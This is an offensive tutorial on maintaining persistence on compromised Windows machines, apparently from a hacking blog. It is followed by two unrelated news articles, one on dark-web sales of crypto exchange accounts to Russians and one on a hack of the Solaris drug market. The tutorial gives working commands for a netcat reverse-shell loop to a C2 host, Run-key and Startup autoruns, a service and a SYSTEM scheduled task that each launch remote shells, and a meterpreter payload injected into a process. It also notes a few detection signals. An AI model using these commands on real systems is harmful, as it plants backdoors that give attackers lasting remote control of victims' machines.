Hello cyberwarriors!

This module takes the often-confusing topic of Windows persistence and turns it into a pragmatic playbook you can use during real engagements. In this part we start small and build up: short-lived shell loops that are easy to launch from any user context, autostart locations and registry Run keys that provide reliable logon-time execution, scheduled tasks that offer precise timing and powerful run-as options, Windows services that deliver the most durable, pre-logon persistence, and in-memory techniques that minimize on-disk traces. 

Techniques are shown with privileged # and non-privileged $ examples, so you can see what’s possible from the access you already have. Every method shows the balance between how secret it is, whether it stays after a restart, and what permissions you need to make it work.

Ultimately this module is designed to be immediately useful in the ongoing cyber conflict context. It is compact with repeatable techniques for maintaining access when appropriate.

Shell

Persistence can be achieved directly from a command prompt by creating a small looping construct that repeatedly launches a reverse or bind shell and then pauses for a fixed interval. The technique relies on a persistent cmd.exe process that keeps retrying the connection instead of using service registration or scheduled tasks. It’s a quick, user-space way to try to maintain an interactive foothold while the process lives. The example command is:

cmd$> start cmd /C "for /L %n in (1,0,10) do ( nc.exe C2 9001 -e cmd.exe & ping -n 60 127.0.0.1 )"

This runs a new command shell to execute the quoted loop. The for /L construct is used to execute the loop body repeatedly. In practice the parameters chosen here make the body run continuously. Inside the loop the nc.exe invocation attempts to connect back to the C2. 

The chained ping -n 60 127.0.0.1 acts as a simple portable sleep to insert a roughly one-minute delay between connection attempts.

Pros: allows a controllable retry interval and can be launched from any user account without special privileges.

Cons: the loop stops on reboot, logoff, or if the shell/window is closed, so it does not survive reboots.

This method is useful when you already have an interactive session and want a low-effort way to keep trying to reconnect, but it’s a volatile form of persistence. Treat it as temporary rather than reliable long-term access. From a defensive perspective, repeated processes with outbound network connections are a high-value detection signal.

Autostart

Autostart locations are the canonical Windows persistence vectors because the operating system itself will execute items placed there at user logon or system startup. The two typical approaches shown are copying an executable into a Startup folder and creating entries under the Run registry keys. Below are two separate techniques you can use depending on your privileges:

cmd$> copy persistence.exe %APPDATA%\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\

cmd$> reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v persistence /t REG_SZ /d "C:\users\username\persistence.exe"

cmd#> copy persistence.exe C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\

cmd#> reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v persistence /t REG_SZ /d "C:\Windows\system32\persistence.exe"

Placing an executable (or a shortcut to it) in a per-user Startup folder causes the Windows shell to launch that item when the specific user signs in. Using the ProgramData (all-users) Startup folder causes the item to be launched for any interactive login. 

Writing a value into HKCU\Software\Microsoft\Windows\CurrentVersion\Run registers a command line that will be executed at logon for the current user and can usually be created without elevated privileges. Writing into HKLM\Software\Microsoft\Windows\CurrentVersion\Run creates a machine-wide autorun and requires administrative rights. 

Pros: survives reboots and will automatically run at each interactive logon (per-user or machine-wide), providing reliable persistence across sessions. 

Cons: startup autoruns have no fine-grained execution interval (they only run at logon) and are a well-known, easily monitored location, making them more likely to be detected and removed.

Services

Using a Windows service to hold a backdoor is more robust than a simple autostart because the Service Control Manager (SCM) will manage the process lifecycle for you. Services can be configured to start at boot, run before any user logs on, run under powerful accounts (LocalSystem, NetworkService, or a specified user), and automatically restart if they crash. Creating a service requires administrative privileges, but once installed it provides a durable, system-integrated persistence mechanism that survives reboots and can recover from failures without manual intervention.

cmd#> sc create persistence binPath= "nc.exe ‐e \windows\system32\cmd.exe C2 9001" start= auto

cmd#> sc failure persistence reset= 0 actions= restart/60000/restart/60000/restart/60000

cmd#> sc start persistence

The first line uses sc create to register a new service named persistence. The binPath= argument provides the command line the service manager will run when starting the service. In practice this should be a quoted path that includes any required arguments, and many administrators prefer absolute paths to avoid ambiguity. start= auto sets the service start type to automatic so SCM will attempt to launch it during system boot. 

The second line configures the service recovery policy with sc failure: reset= 0 configures the failure count reset interval (here set to zero, meaning the failure count does not automatically reset after a timeout), and actions= restart/60000/restart/60000/restart/60000 tells the SCM to attempt a restart after 60,000 milliseconds (60 seconds) on the first, second and subsequent failures. This allows the service to be automatically relaunched if it crashes or is killed. 

The third line, sc start persistence, instructs SCM to start the service immediately. 

Pros: survives reboot, runs before user logon, can run under powerful system accounts, and can be configured with automatic restart intervals via the service recovery options.

Cons: creating or modifying services requires administrative privileges and is highly visible and auditable (service creation, service starts/stops and related events are logged and commonly monitored by endpoint protection and EDR solutions).

Scheduled Tasks

Scheduled tasks are a convenient and flexible way to maintain access because the Windows Task Scheduler supports a wide variety of triggers, run-as accounts, and recovery behavior. Compared with simple autostart locations, scheduled tasks allow precise control over when and how often a program runs, can run under powerful system accounts, and survive reboots. Creating or modifying scheduled tasks normally requires administrative privileges.

cmd#> schtasks /create /ru SYSTEM /sc MINUTE /MO 1 /tn persistence /tr "c:\temp\nc.exe -e c:\windows\system32\cmd.exe C2 9001"

Here the schtasks /create creates a new scheduled task named persistence. The /ru SYSTEM argument tells Task Scheduler to run the job as the SYSTEM account (no password required for well-known service accounts), which gives the payload high privileges at runtime. The /sc MINUTE /MO 1 options set the schedule type to “minute” with a modifier of 1, meaning the task is scheduled to run every minute. /tn persistence gives the task its name, and /tr "..." specifies the exact command line the task will execute when triggered. Because Task Scheduler runs scheduled jobs independently of an interactive user session, the task will execute even when no one is logged in, and it will persist across reboots until removed.

Pros: survives reboot and provides a tightly controlled, repeatable execution interval (you can schedule per-minute, hourly, daily, on specific events, or create complex triggers), and tasks can be configured to run under high-privilege accounts such as SYSTEM.

Cons: creating or modifying scheduled tasks typically requires administrative privileges and Task Scheduler events are auditable and commonly monitored by enterprise defenses.

In-Memory

In-memory persistence refers to techniques that load malicious code directly into a running process’s memory without writing a persistent binary to disk. The goal is to maintain a live foothold while minimizing on-disk artifacts that antiviruses and file-based scanners typically inspect. A common pattern is to craft a payload that is intended to execute only in RAM and then use some form of process injection (for example, creating a remote thread in a legitimate process, reflective DLL loading, or other in-memory execution primitives) to run that payload inside a benign host process. The technique is often used for short-lived stealthy access, post-exploitation lateral movement, or when the attacker wants to avoid leaving forensic traces on disk.

First you generate a payload with msfvenom:

c2 > msfvenom ‐p windows/x64/meterpreter/reverse_tcp LHOST=C2_IP LPORT=9007 ‐f raw ‐o meter64.bin StagerRetryCount=999999

And then inject it into a running process:

cmd$> inject_windows.exe PID meter64.bin

Pros: extremely low on-disk footprint and difficult for traditional antivirus to detect, since there is no persistent executable to scan and many memory-only operations generate minimal file or registry artifacts.

Cons: does not survive a reboot and requires a mechanism to get code into a process’s memory (which is often noisy and produces behavioral telemetry that modern endpoint detection and response solutions can flag).

Defenders may monitor for anomalous process behavior such as unexpected parent/child relationships, unusual modules loaded into long-lived system processes, creation of remote threads, or unusual memory protections being changed at runtime.

Summary

We explored different basic Windows persistence options by comparing durability, visibility, and privilege requirements: simple shell loops let you keep retrying a connection from a user shell without elevation but stop at logoff or reboot. Autostart provides reliable logon-time execution and can be per-user or machine-wide depending on privileges. Scheduled tasks give precise, repeatable execution (including SYSTEM) and survive reboots. Services offer the most durable, pre-logon, auto-restarting system-level persistence but require administrative rights and are highly auditable. In-memory techniques avoid on-disk artifacts and are stealthier but do not persist across reboots and often produce behavioral telemetry. The core trade-off is that greater restart resilience and privilege typically mean more detectable forensic signals, defenders should therefore watch for repeated outbound connection patterns, unexpected autoruns, newly created services or scheduled tasks, and anomalous in-memory activity.

In the first part of Advanced Windows Persistence, we will dive into advanced techniques that will leverage the Configs, Debugger, GFlags and WMI.

The post Post Exploitation: Maintaining Persistence in Windows first appeared on Hackers Arise.

Russian crypto traders have been looking to obtain unrestricted accounts for global exchanges as their access to such platforms is limited. Over the past year, the offering of such accounts on the dark web has increased significantly, cybersecurity experts told the Russian press.

Supply of Crypto Exchange Accounts for Russian Users Doubles in a Year of Sanctions

More and more ready-to-use accounts for cryptocurrency exchanges are being sold to Russian residents. While this is not a new phenomenon — such accounts are often employed by fraudsters and money launderers — the current growth in supply has been attributed to the restrictions imposed by the trading platforms on customers from Russia, as a result of compliance with sanctions over the war in Ukraine.

Russian residents have been buying these accounts despite the dangers, including the risk that whoever created them could maintain access after the sale, the Kommersant reported. But they are inexpensive and offers on darknet markets have doubled since early 2022, Nikolay Chursin from the Positive Technologies information security threat analysis group told the business daily.

According to Peter Mareichev, an analyst at Kaspersky Digital Footprint Intelligence, the number of new ads for ready-made and verified wallets on various exchanges reached 400 in December. Proposals to prepare fake documents for passing know-your-customer procedures also rose, the newspaper revealed in an earlier article last month.

Simple login data, username and password, is typically priced at around $50, Chursin added. And for a fully set up account, including the documents with which it was registered, a buyer would have to pay an average of $300. Dmitry Bogachev from digital threat analysis firm Jet Infosystems explained that the price depends on factors such as the country and date of registration as well as the activity history. Older accounts are more expensive.

Sergey Mendeleev, CEO of defi banking platform Indefibank, pointed out that there are two categories of buyers — Russians that have no other choice as they need an account for everyday work and those who use these accounts for criminal purposes. Igor Sergienko, director of development at cybersecurity services provider RTK-Solar, is convinced that demand is largely due to crypto exchanges blocking Russian accounts or withdrawals to Russian bank cards in recent months.

Major crypto service providers, including leading digital asset exchanges, have complied with financial restrictions introduced by the West in response to Russia’s invasion of Ukraine. Last year, the world’s largest crypto trading platform, Binance, indicated that, while restricting sanctioned individuals and entities, it was not banning all Russians.

However, since the end of 2022, a number of Russian users of Binance have complained about having their accounts blocked without explanation, as reported by Forklog. Many experienced problems for weeks, including suspended withdrawals amid prolonged checks, affected customers said. The company told the crypto news outlet that the blocking of users from Eastern Europe and the Commonwealth of Independent States was related to the case with the seized crypto exchange Bitzlato.

Do you think the restrictions will push more Russians towards buying ready-made accounts for cryptocurrency exchanges? Share your thoughts on the subject in the comments section below.

A Ukrainian living in the U.S. has reportedly hacked a major drug market on the Russian dark web, diverting some of its crypto proceeds. The man says he donated the digital cash stolen from the illicit website to an organization delivering humanitarian aid across his war-torn homeland.

Wisconsin Resident With Ukrainian Roots Hacks Russian Dark Web Market Solaris

Ukrainian-born cyber intelligence expert Alex Holden, who left Kyiv as a teenager in the 1980s and now lives in Mequon, Wisconsin, claims he has hacked into Solaris, one of Russia’s largest online drug markets, Forbes informs in a report.

Supported by his team at Hold Security, he was able to get hold of some of the bitcoin sent to dealers and the darknet site’s owners. The cryptocurrency, worth over $25,000, was later transferred to Enjoying Life, a charitable foundation based in the Ukrainian capital.

Without revealing exactly how he did it, Holden explained he took control of much of the internet infrastructure behind Solaris, including some administrator accounts, obtained the website’s source code and a database of its users and drop off locations for drug deliveries.

For a while, the Ukrainian and his colleagues also gained access to the “master wallet” of the marketplace. It was used by buyers and dealers to deposit and withdraw funds and operated as the platform’s crypto exchange, the article details.

Given the rapid turnover, the wallet rarely had more than 3 BTC at a time. Holden managed to appropriate 1.6 BTC and send it to Enjoying Life. Hold Security donated another $8,000 to the charity, which provides assistance to people affected by the war in Ukraine.

Solaris Linked to ‘Patriotic’ Russian Hacking Collective Killnet

The darknet market Solaris is suspected of having connections to the hacking crew Killnet, which after Moscow launched its invasion in late February became one of Russia’s “patriotic” hacker groups vowing to target Ukrainians and their supporters.

Killnet has also conducted a number of attacks in the U.S., including on airport and state government websites as well as the National Geospatial-Intelligence Agency. It reportedly hit the Eurovision song contest, the Estonian government and Italy’s National Health Institute.

The group was also blamed for attacking Rutor, the main rival of Solaris, which became Russia’s leading underground drugs market after Hydra was shut down this past spring. According to U.S. cybersecurity firm Zerofox, Solaris was paying Killnet for DDoS services.

Besides the battlefield, Russia and Ukraine have also clashed in the online space, with the government in Kyiv recruiting experts for its own cyberforce. The special unit was tasked to identify and prevent Russian attacks but also hack back.

Hits such as those on Russia’s largest bank, Sber, and the Moscow Stock Exchange have been attributed to the Ukrainian IT army. Social media accounts associated with the hacktivist collective Anonymous took responsibility for many other attacks.

What do you think about Alex Holden’s attack on the Russian darknet market Solaris? Let us know in the comments section below.